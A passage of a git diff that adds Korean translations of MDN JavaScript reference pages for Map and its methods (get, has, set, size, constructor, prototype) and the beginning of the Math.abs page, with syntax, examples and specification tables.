+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/get/index.html b/files/ko/web/javascript/reference/global_objects/map/get/index.html
new file mode 100644
index 0000000000..835c8c3e6e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/get/index.html
@@ -0,0 +1,80 @@
+---
+title: Map.prototype.get()
+slug: Web/JavaScript/Reference/Global_Objects/Map/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>get()</strong></code> 메서드는 <code>Map</code> 객체에서 지정한 요소를 회수합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>myMap</em>.get(<em>key</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>Map</code> 객체에서 회수할 요소의 키.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 키와 연결된 요소. 그런 요소가 없으면 {{jsxref("undefined")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="get_사용하기"><code>get</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.get('bar');  // "foo" 반환.
+myMap.get('baz');  // undefined 반환.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.get")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/has/index.html b/files/ko/web/javascript/reference/global_objects/map/has/index.html
new file mode 100644
index 0000000000..60c5c03dfb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/has/index.html
@@ -0,0 +1,81 @@
+---
+title: Map.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Map/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>has()</strong></code> 메서드는 주어진 키를 가진 요소가 <code>Map</code>에 존재하는지를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.has(<em>key</em>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>존재 여부를 판별할 키값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 키를 가진 요소가 있으면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="has()_사용하기"><code>has()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', "foo");
+
+myMap.has('bar');  // returns true
+myMap.has('baz');  // returns false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.has")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/index.html b/files/ko/web/javascript/reference/global_objects/map/index.html
new file mode 100644
index 0000000000..f8b29bdf6e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/index.html
@@ -0,0 +1,244 @@
+---
+title: Map
+slug: Web/JavaScript/Reference/Global_Objects/Map
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Map</code> </strong>객체는 키-값 쌍을 저장하며 각 쌍의 삽입 순서도 기억하는 콜렉션입니다.</span> 아무 값(객체와 {{Glossary("Primitive", "원시 값")}})이라도 키와 값으로 사용할 수 있습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Map</code> 객체는 요소의 삽입 순서대로 원소를 순회합니다. {{jsxref("Statements/for...of", "for...of")}} 반복문은 각 순회에서 <code>[key, value]</code>로 이루어진 배열을 반환합니다.</p>
+
+<h3 id="키_동일성">키 동일성</h3>
+
+<ul>
+ <li>키 동일성은 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness#등가0_같음"><code>sameValueZero</code></a> 알고리즘에 기반합니다.</li>
+ <li><code>NaN !== NaN</code>이지만, 그럼에도 <code>NaN</code>은 <code>NaN</code>과 일치한다고 간주하며, 다른 모든 값은 <code>===</code> 연산자의 결과를 따릅니다.</li>
+ <li>현 ECMAScript 명세는 <code>-0</code>과 <code>+0</code>을 같은 값으로 처리하지만 초기 명세에서는 그렇지 않았습니다. {{anch("브라우저 호환성")}}의 "<em>Key equality for -0 and 0</em>"을 참고하세요.</li>
+</ul>
+
+<h3 id="jsxrefObject와_Map_비교">{{jsxref("Object")}}와 <code>Map</code> 비교</h3>
+
+<p>{{jsxref("Object")}}는 값에 키를 할당할 수 있고, 그 키로 값을 얻을 수 있고, 키를 삭제할 수 있으며 어떤 키에 값이 존재하는지 확인할 수 있다는 점에서 <code>Map</code>과 유사합니다. 이런 이유에 더해, 이전에는 내장된 대체제가 없었기 때문에, <code>Object</code>를 <code>Map</code> 대신 사용하곤 했습니다.</p>
+
+<p>그러나 어떤 상황에선, <code>Map</code>을 선호해야 할 몇 가지 중요한 차이점이 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col"><code>Map</code></th>
+   <th scope="col"><code>Object</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">의도치 않은 키</th>
+   <td><code>Map</code>은 명시적으로 제공한 키 외에는 어떤 키도 가지지 않습니다.</td>
+   <td>
+    <p><code>Object</code>는 프로토타입을 가지므로 기본 키가 존재할 수 있습니다. 주의하지 않으면 직접 제공한 키와 충돌할 수도 있습니다.</p>
+
+    <div class="blockIndicator note">
+    <p><strong>참고:</strong> ES5부터, 프로토타입으로 인한 키 충돌은 {{jsxref("Object.create", "Object.create(null)")}}로 해결할 수 있지만, 실제로 쓰이는 경우는 적습니다.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">키 자료형</th>
+   <td><code>Map</code>의 키는 함수, 객체 등을 포함한 모든 값이 가능합니다.</td>
+   <td><code>Object</code>의 키는 반드시 {{jsxref("String")}} 또는 {{jsxref("Symbol")}}이어야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">키 순서</th>
+   <td>
+    <p><code>Map</code>의 키는 정렬됩니다. 따라서 <code>Map</code>의 순회는 삽입순으로 이뤄집니다.</p>
+   </td>
+   <td>
+    <p><code>Object</code>의 키는 정렬되지 않습니다.</p>
+
+    <div class="blockIndicator note">
+    <p><strong>참고:</strong> ECMAScript 201 이후로, 객체도 문자열과 <code>Symbol</code> 키의 생성 순서를 유지합니다. ECMEScript 2015 명세를 준수하는 JavaScript 엔진에서 문자열 키만 가진 객체를 순회하면 삽입 순을 따라갑니다.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">크기</th>
+   <td><code>Map</code>의 항목 수는 {{jsxref("Map.prototype.size", "size")}} 속성을 통해 쉽게 알아낼 수 있습니다.</td>
+   <td><code>Object</code>의 항목 수는 직접 알아내야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">순회</th>
+   <td><code>Map</code>은 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">순회 가능</a>하므로, 바로 순회할 수 있습니다.</td>
+   <td><code>Object</code>를 순회하려면 먼저 모든 키를 알아낸 후, 그 키의 배열을 순회해야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">성능</th>
+   <td>잦은 키-값 쌍의 추가와 제거에서 더 좋은 성능을 보입니다.</td>
+   <td>잦은 키-값 쌍의 추가와 제거를 위한 최적화가 없습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Map.Map", "Map()")}}</dt>
+ <dd>새로운 <code>Map</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>값이 0인 속성입니다.<br>
+ 요소의 수는 {{jsxref("Map.prototype.size")}}로 알아낼 수 있습니다.</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>파생 객체를 생성하는데 사용하는 생성자 함수입니다.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd><code>Map</code> 생성자의 프로토타입을 나타냅니다. 모든 <code>Map</code> 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Map_인스턴스"><code>Map</code> 인스턴스</h2>
+
+<p>모든 <code>Map</code> 인스턴스는 {{jsxref("Map.prototype")}}을 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Map_객체_사용하기"><code>Map</code> 객체 사용하기</h3>
+
+<pre class="brush: js">let myMap = new Map()
+
+let keyString = '문자열'
+let keyObj    = {}
+let keyFunc   = function() {}
+
+// 값 설정
+myMap.set(keyString, "'문자열'과 관련된 값")
+myMap.set(keyObj, 'keyObj와 관련된 값')
+myMap.set(keyFunc, 'keyFunc와 관련된 값')
+
+myMap.size              // 3
+
+// getting the values
+myMap.get(keyString)    // "'문자열'과 관련된 값"
+myMap.get(keyObj)       // "keyObj와 관련된 값"
+myMap.get(keyFunc)      // "keyFunc와 관련된 값"
+
+myMap.get('문자열')    // "'문자열'과 관련된 값"
+                         // keyString === '문자열'이기 때문
+myMap.get({})            // undefined, keyObj !== {}
+myMap.get(function() {}) // undefined, keyFunc !== function () {}</pre>
+
+<h3 id="Map의_키로_NaN_사용하기"><code>Map</code>의 키로 <code>NaN</code> 사용하기</h3>
+
+<p>{{jsxref("NaN")}}도 키로서 사용할 수 있습니다. 모든 <code>NaN</code>은 자기 자신과 동일하지 않지만(<code>NaN !== NaN</code>), <code>NaN</code>을 서로 구분할 수도 없기 때문에 아래 예제도 잘 동작합니다.</p>
+
+<pre class="brush: js">let myMap = new Map()
+myMap.set(NaN, 'not a number')
+
+myMap.get(NaN)
+// "not a number"
+
+let otherNaN = Number('foo')
+myMap.get(otherNaN)
+// "not a number"</pre>
+
+<h3 id="for..of로_Map_순회하기"><code>for..of</code><font face="Open Sans, arial, sans-serif">로 </font><code>Map</code> 순회하기</h3>
+
+<p><code>Map</code>은 <code>for..of</code> 반복문을 사용해 순회할 수 있습니다.</p>
+
+<pre class="brush: js">let myMap = new Map()
+myMap.set(0, 'zero')
+myMap.set(1, 'one')
+
+for (let [key, value] of myMap) {
+  console.log(key + ' = ' + value)
+}
+// 0 = zero
+// 1 = one
+
+for (let key of myMap.keys()) {
+  console.log(key)
+}
+// 0
+// 1
+
+for (let value of myMap.values()) {
+  console.log(value)
+}
+// zero
+// one
+
+for (let [key, value] of myMap.entries()) {
+  console.log(key + ' = ' + value)
+}
+// 0 = zero
+// 1 = one</pre>
+
+<h3 id="forEach로_Map_순회하기"><code>forEach()</code>로 <code>Map</code> 순회하기</h3>
+
+<p><code>Map</code>은 {{jsxref("Map.prototype.forEach", "forEach()")}} 메서드로 순회할 수 있습니다.</p>
+
+<pre class="brush: js">myMap.forEach(function(value, key) {
+  console.log(key + ' = ' + value)
+})
+// 0 = zero
+// 1 = one</pre>
+
+<h3 id="Array_객체와의_관계"><code>Array</code> 객체와의 관계</h3>
+
+<pre class="brush: js">let kvArray = [['key1', 'value1'], ['key2', 'value2']]
+
+// Use the regular Map constructor to transform a 2D key-value Array into a map
+let myMap = new Map(kvArray)
+
+myMap.get('key1') // returns "value1"
+
+// Use Array.from() to transform a map into a 2D key-value Array
+console.log(Array.from(myMap)) // Will show you exactly the same Array as kvArray
+
+// A succinct way to do the same, using the spread syntax
+console.log([...myMap])
+
+// Or use the keys() or values() iterators, and convert them to an array
+console.log(Array.from(myMap.keys())) // ["key1", "key2"]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Map")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/map/index.html b/files/ko/web/javascript/reference/global_objects/map/map/index.html
new file mode 100644
index 0000000000..012772eec5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/map/index.html
@@ -0,0 +1,60 @@
+---
+title: Map() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Map/Map
+tags:
+  - Constructor
+  - JavaScript
+  - Map
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/Map
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Map()</code> 생성자</strong>는 {{jsxref("Map")}} 객체를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Map([<var>iterable</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>iterable</var></code></dt>
+ <dd>요소가 키-값 쌍인, {{jsxref("Array")}} 또는 다른 순회 가능한 객체(예: <code>[[1, 'one'], [2, 'two']]</code>). 각 키-값 쌍은 새로운 <code>Map</code>에 포함됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let myMap = new Map([
+  [1, 'one'],
+  [2, 'two'],
+  [3, 'three'],
+])
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map-constructor', 'Map constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.Map")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/prototype/index.html b/files/ko/web/javascript/reference/global_objects/map/prototype/index.html
new file mode 100644
index 0000000000..633d2c785e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/prototype/index.html
@@ -0,0 +1,86 @@
+---
+title: Map.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Map/prototype
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Map</strong></code><strong><code>.prototype</code></strong> property는 {{jsxref("Map")}}의 프로토 타입을 나타낸다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>{{jsxref("Map")}} instance는 {{jsxref("Map.prototype")}}를 상속한다. Constructor의 프로토타입에 property와 method를 추가함으로써 모든 <code>Map</code> 인스턴스에서 사용 가능하게끔 만들 수 있다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>Map.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만드는 함수를 반환한다. 이것 {{jsxref("Map")}} 함수의 기본 값이다.</dd>
+ <dt>{{jsxref("Map.prototype.size")}}</dt>
+ <dd><code>Map</code> 객체에 들어있는 key/value pair의 수를 반환한다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("Map.prototype.clear()")}}</dt>
+ <dd><code>Map</code> 객체의 모든 key/value pair를 제거한다.</dd>
+ <dt>{{jsxref("Map.delete", "Map.prototype.delete(key)")}}</dt>
+ <dd>주어진 키(Key)와 해당되는 값(Value)를 제거하고 제거하기 전에 <code>Map.prototype.has(key)가 반환했던 값을 반환한다.</code> 그 후의 <code>Map.prototype.has(key)<font face="Open Sans, arial, sans-serif">는 </font></code><code>false를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.prototype.entries()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 요소들을 <strong><code>[key, value] 형태의 </code>array </strong>로 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd><code>Map</code> 객체 안에 존재하는 각각의 key/value pair에 집어넣은 순서대로 callbackFn을 부른다. 만약 thisArg 매개변수가 제공되면, 이것이 각 callback의 this 값으로 사용된다.</dd>
+ <dt>{{jsxref("Map.get", "Map.prototype.get(key)")}}</dt>
+ <dd>주어진 키(Key)에 해당되는 값(value)을 반환하고, 만약 없으면 <code>undefined를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.has", "Map.prototype.has(key)")}}</dt>
+ <dd><code>Map 객체 안에 주어진 </code>key/value pair가 있는지 검사하고 Boolean 값을 반환한다.</dd>
+ <dt>{{jsxref("Map.prototype.keys()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 <strong>키(Key)</strong>들을 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.set", "Map.prototype.set(key, value)")}}</dt>
+ <dd><code>Map 객체에 주어진 키</code>(Key)에 값(Value)를 집어넣고, <code>Map 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.prototype.values()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 <strong>값</strong><strong>(Value)</strong>들을 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 요소들을 <strong><code>[key, value] 형태의 </code>array </strong>로 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.builtins.Map.prototype")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/set/index.html b/files/ko/web/javascript/reference/global_objects/map/set/index.html
new file mode 100644
index 0000000000..a6c5afb140
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/set/index.html
@@ -0,0 +1,96 @@
+---
+title: Map.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/Map/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/set
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>set()</strong></code> 메서드는 Map 객체에서 주어진 키를 가진 요소를 추가하고, 키의 요소가 이미 있다면 대체합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.set(<em>key</em>, <em>value</em>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>Map</code>에 추가하거나 변경할 요소의 키.</dd>
+ <dt><code>value</code></dt>
+ <dd><code>Map</code>에 추가하거나 변경할 요소의 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>호출한 <code>Map</code> 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="set()_사용하기"><code>set()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+
+// Add new elements to the map
+myMap.set('bar', 'foo');
+myMap.set(1, 'foobar');
+
+// Update an element in the map
+myMap.set('bar', 'baz');
+</pre>
+
+<h3 id="set()_체이닝"><code>set()</code> 체이닝</h3>
+
+<p><code>set()</code>이 같은 <code>Map</code>을 반환하므로 메서드를 여러 번 연속해서 호출할 수 있습니다.</p>
+
+<pre class="brush: js">// Add new elements to the map with chaining.
+myMap.set('bar', 'foo')
+     .set(1, 'foobar')
+     .set(2, 'baz');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/size/index.html b/files/ko/web/javascript/reference/global_objects/map/size/index.html
new file mode 100644
index 0000000000..371d8b3110
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/size/index.html
@@ -0,0 +1,62 @@
+---
+title: Map.prototype.size
+slug: Web/JavaScript/Reference/Global_Objects/Map/size
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/size
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>size</strong></code> 접근자 프로퍼티는  {{jsxref("Map")}} 객체의 요소 갯수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>size</code> 값은 얼마나 많은 엔트리를 <code>Map</code> 객체가 가지고 있는지를 표현합니다. <code>size</code> 를 설정할 수 있는 접근자 함수는 <code>undefined</code> 입니다. 당신은 이 프로퍼티를 변경할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_size">Using <code>size</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('a', 'alpha');
+myMap.set('b', 'beta');
+myMap.set('g', 'gamma');
+
+myMap.size // 3
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.size")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/abs/index.html b/files/ko/web/javascript/reference/global_objects/math/abs/index.html
new file mode 100644
index 0000000000..c66172647d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/abs/index.html
@@ -0,0 +1,104 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Reference/Global_Objects/Math/abs
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Math.abs()</code></strong> 함수는 주어진 숫자의 절대값을 반환합니다.</span> 즉,</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&gt;</mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ -x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-abs.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Math.abs(<var>x</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자의 절대값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>abs()</code>는 <code>Math</code>의 정적 메서드이므로, 사용자가 생성한 <code>Math</code> 객체의 메서드로 호출할 수 없고 항상 <code>Math.abs()</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.abs()의_작동_방식"><code>Math.abs()</code>의 작동 방식</h3>
+
+<p>빈 객체, 하나 이상의 요소를 가진 배열, 숫자가 아닌 문자열, {{jsxref("undefined")}}나 빈 매개변수를 받으면 {{jsxref("NaN")}}을 반환합니다. {{jsxref("null")}}, 빈 문자열이나 빈 배열을 제공하면 0을 반환합니다.</p>
+
+<pre class="brush: js" dir="rtl">Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+Math.abs('');       // 0
+Math.abs([]);       // 0
+Math.abs([2]);      // 2
+Math.abs([1,2]);    // NaN
+Math.abs({});       // NaN
+Math.abs('string'); // NaN
+Math.abs();         // NaN
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
